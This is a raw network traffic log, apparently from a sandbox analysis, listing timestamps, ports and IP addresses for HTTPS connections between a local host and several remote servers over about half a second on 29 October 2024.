Oct 29, 2024 06:59:28.696436882 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.698250055 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.698290110 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.698321104 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.698343039 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.698363066 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.698394060 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.698394060 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.698410988 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.698442936 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.699692011 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.699709892 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.699767113 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.699781895 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.699810982 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.704487085 CET	443	49820	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.705192089 CET	49820	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.705205917 CET	443	49820	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.705979109 CET	49820	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.705982924 CET	443	49820	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.711405993 CET	443	49819	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.711728096 CET	49819	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.711745024 CET	443	49819	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.712125063 CET	49819	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.712129116 CET	443	49819	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.740828991 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.740845919 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.740911961 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.740930080 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.740972996 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.908025026 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.939904928 CET	49828	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:28.939930916 CET	443	49828	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:28.939994097 CET	49828	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:28.940167904 CET	49829	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:28.940207958 CET	443	49829	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:28.940280914 CET	49829	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:28.940893888 CET	49830	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:28.940901995 CET	443	49830	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:28.941015005 CET	49830	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:28.941490889 CET	49828	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:28.941502094 CET	443	49828	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:28.941632986 CET	49829	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:28.941658974 CET	443	49829	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:28.941919088 CET	49830	443	192.168.2.5	184.31.0.196
Oct 29, 2024 06:59:28.941926003 CET	443	49830	184.31.0.196	192.168.2.5
Oct 29, 2024 06:59:28.998420954 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.998449087 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.998457909 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.998497009 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.998509884 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.998514891 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.998519897 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.998539925 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.998563051 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.998589993 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.998598099 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.998608112 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.998625040 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.998640060 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.998645067 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:28.998660088 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.998682022 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:28.999023914 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999037027 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999054909 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999063969 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999070883 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.999104023 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999116898 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999129057 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.999134064 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999140978 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.999145031 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999171019 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.999175072 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999191046 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.999191999 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999222040 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999228954 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999248028 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999258995 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.999267101 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999279022 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.999340057 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.999427080 CET	443	49818	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.999511003 CET	443	49818	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:28.999536991 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999545097 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999558926 CET	49818	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:28.999567032 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999582052 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.999591112 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999608994 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.999631882 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.999831915 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999851942 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999891043 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.999900103 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:28.999921083 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:28.999944925 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.000071049 CET	443	49819	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.000118971 CET	443	49819	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.000212908 CET	49819	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.000214100 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.000231028 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.000268936 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.000277042 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.000304937 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.000320911 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.000408888 CET	443	49820	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.000473976 CET	443	49820	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.000709057 CET	49820	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.003894091 CET	49818	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.003915071 CET	443	49818	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.003928900 CET	49818	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.003938913 CET	443	49818	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.004646063 CET	443	49822	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.004858971 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.004906893 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.004930973 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.004945993 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.004962921 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.004981041 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.005444050 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.005465984 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.005496979 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.005505085 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.005526066 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.005542040 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.005755901 CET	443	49823	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.006020069 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.006036997 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.006093025 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.006098986 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.006117105 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.006136894 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.006381989 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.006402969 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.006431103 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.006441116 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.006465912 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.006481886 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.006633997 CET	49822	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.006659031 CET	443	49822	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.007196903 CET	49822	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.007204056 CET	443	49822	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.007407904 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.007437944 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.007462978 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.007472992 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.007500887 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.007529974 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.008115053 CET	443	49821	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.008234024 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.008254051 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.008296967 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.008301973 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.008328915 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.008335114 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.008354902 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.008353949 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.008383036 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.008390903 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.008409977 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.008436918 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.008872986 CET	49821	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.008886099 CET	443	49821	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.009217024 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.009243965 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.009282112 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.009290934 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.009316921 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.009341002 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.011323929 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.011341095 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.011406898 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.011414051 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.011446953 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.013911009 CET	49819	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.013916969 CET	443	49819	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.013930082 CET	49819	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.013933897 CET	443	49819	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.014153957 CET	49821	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.014164925 CET	443	49821	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.014318943 CET	49820	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.014328003 CET	443	49820	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.014337063 CET	49820	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.014342070 CET	443	49820	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.015070915 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.015805006 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.016124964 CET	49823	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.016130924 CET	443	49823	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.016621113 CET	443	49823	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.017096043 CET	49823	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.017170906 CET	443	49823	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.017959118 CET	49823	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.018220901 CET	49823	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.018224955 CET	443	49823	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.022912979 CET	49831	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.022933960 CET	443	49831	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.023008108 CET	49831	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.023351908 CET	49831	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.023363113 CET	443	49831	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.024616003 CET	49832	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.024651051 CET	443	49832	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.025018930 CET	49832	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.025840044 CET	49833	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.025852919 CET	443	49833	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.025882006 CET	49832	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.025898933 CET	443	49832	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.025911093 CET	49833	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.026158094 CET	49833	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.026166916 CET	443	49833	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.032959938 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.032974005 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.033061028 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.033066988 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.033111095 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.033754110 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.033767939 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.033821106 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.033826113 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.033864975 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.035326958 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.035341024 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.035408974 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.035414934 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.035453081 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.038588047 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.038603067 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.038660049 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.038666964 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.038705111 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.045993090 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.046027899 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.046073914 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.046094894 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.046116114 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.046205997 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.046730042 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.046751976 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.046796083 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.046806097 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.046832085 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.046849966 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.047590971 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.047612906 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.047693968 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.047705889 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.047743082 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.048472881 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.048491955 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.048547983 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.048558950 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.048588037 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.048604012 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.049380064 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.049400091 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.049433947 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.049444914 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.049468994 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.049487114 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.105434895 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.105475903 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.105506897 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.105526924 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.105554104 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.105573893 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.136524916 CET	443	49822	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.136607885 CET	443	49822	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.136689901 CET	49822	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.137375116 CET	49822	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.137408018 CET	443	49822	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.137439966 CET	49822	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.137455940 CET	443	49822	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.140993118 CET	49834	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.141031027 CET	443	49834	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.141319036 CET	49834	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.141567945 CET	49834	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.141591072 CET	443	49834	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.142869949 CET	443	49821	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.143024921 CET	443	49821	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.143095016 CET	49821	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.143337011 CET	49821	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.143337011 CET	49821	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.143376112 CET	443	49821	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.143402100 CET	443	49821	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.149009943 CET	49835	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.149028063 CET	443	49835	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.149125099 CET	49835	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.149344921 CET	49835	443	192.168.2.5	13.107.246.60
Oct 29, 2024 06:59:29.149353981 CET	443	49835	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:29.149568081 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.149585009 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.149646997 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.149652958 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.149688959 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.149976969 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.149991989 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.150044918 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.150048971 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.150101900 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.150614977 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.150636911 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.150671959 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.150676012 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.150711060 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.150727034 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.151088953 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.151108027 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.151153088 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.151159048 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.151206017 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.151763916 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.151781082 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.151834965 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.151839972 CET	443	49811	13.107.246.57	192.168.2.5
Oct 29, 2024 06:59:29.151873112 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.151894093 CET	49811	443	192.168.2.5	13.107.246.57
Oct 29, 2024 06:59:29.162996054 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.163027048 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.163067102 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.163094044 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.163125992 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.163347006 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.163549900 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.163570881 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.163605928 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.163619041 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.163644075 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.163670063 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.163701057 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.163743019 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.163754940 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.163800955 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.163907051 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.163928032 CET	443	49817	104.40.82.182	192.168.2.5
Oct 29, 2024 06:59:29.163950920 CET	49817	443	192.168.2.5	104.40.82.182
Oct 29, 2024 06:59:29.200401068 CET	443	49823	104.40.82.182	192.168.2.5
